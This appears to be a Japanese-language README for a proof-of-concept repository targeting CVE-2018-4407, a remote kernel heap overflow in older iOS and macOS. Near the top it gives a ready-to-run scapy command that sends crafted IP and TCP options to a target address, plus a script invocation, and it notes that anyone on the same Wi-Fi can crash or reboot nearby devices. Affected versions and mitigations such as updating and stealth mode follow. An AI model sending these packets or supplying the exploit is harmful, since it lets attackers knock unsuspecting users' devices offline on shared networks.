check_icmp_dos

*iOS 12 / OS X Remote Kernel Heap Overflow (CVE-2018-4407) POC：

pip install scapy
sudo scapy 
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

またはスクリプトを使用

python check_icmp_dos.py 127.0.0.1

この脆弱性により、攻撃者は同じWi-Fiネットワークに接続するだけで、何も知らないユーザーに悪意のあるパケットを送信し、任意のMacまたはiOSデバイスのクラッシュや再起動を引き起こすことができます。この脆弱性はシステムのネットワークコアコードに存在するため、どのアンチウイルスソフトウェアも防御できません。

以下のオペレーティングシステムを実行しているデバイスが影響を受けます：

Apple iOS 11およびそれ以前：すべてのデバイス（iOS 12にアップグレードした一部のデバイス）

Apple macOS High Sierra（影響を受ける最高バージョンは10.13.6）：すべてのデバイス（セキュリティアップデート2018-001で修正）

Apple macOS Sierra（影響を受ける最高バージョンは10.12.6）：すべてのデバイス（セキュリティアップデート2018-005で修正）

Apple OS X El Capitanおよびそれ以前：すべてのデバイス

修正推奨

現在、AppleはiOS 12.1バージョンのアップデートをリリースし、この脆弱性を修正しました。ユーザーはシステムバージョンを確認し、影響を受ける場合は速やかに修正措置を講じることを推奨します。脆弱性の修正措置は以下の通りです：

1. システムアップデートを実行し、最新バージョンに更新する
2. 最新バージョンに更新できない場合は、macOSファイアウォールでステルスモードを有効にすると攻撃を防ぐことができます。このシステム設定はデフォルトでは有効になっておらず、ユーザーが手動で有効にする必要があります。
3. 公共の無線ネットワークに接続しない。この脆弱性をトリガーするための唯一の必要条件は同一ネットワークにいることであり、この脆弱性はインターネットを介した悪意のあるパケットの送信をサポートしていません。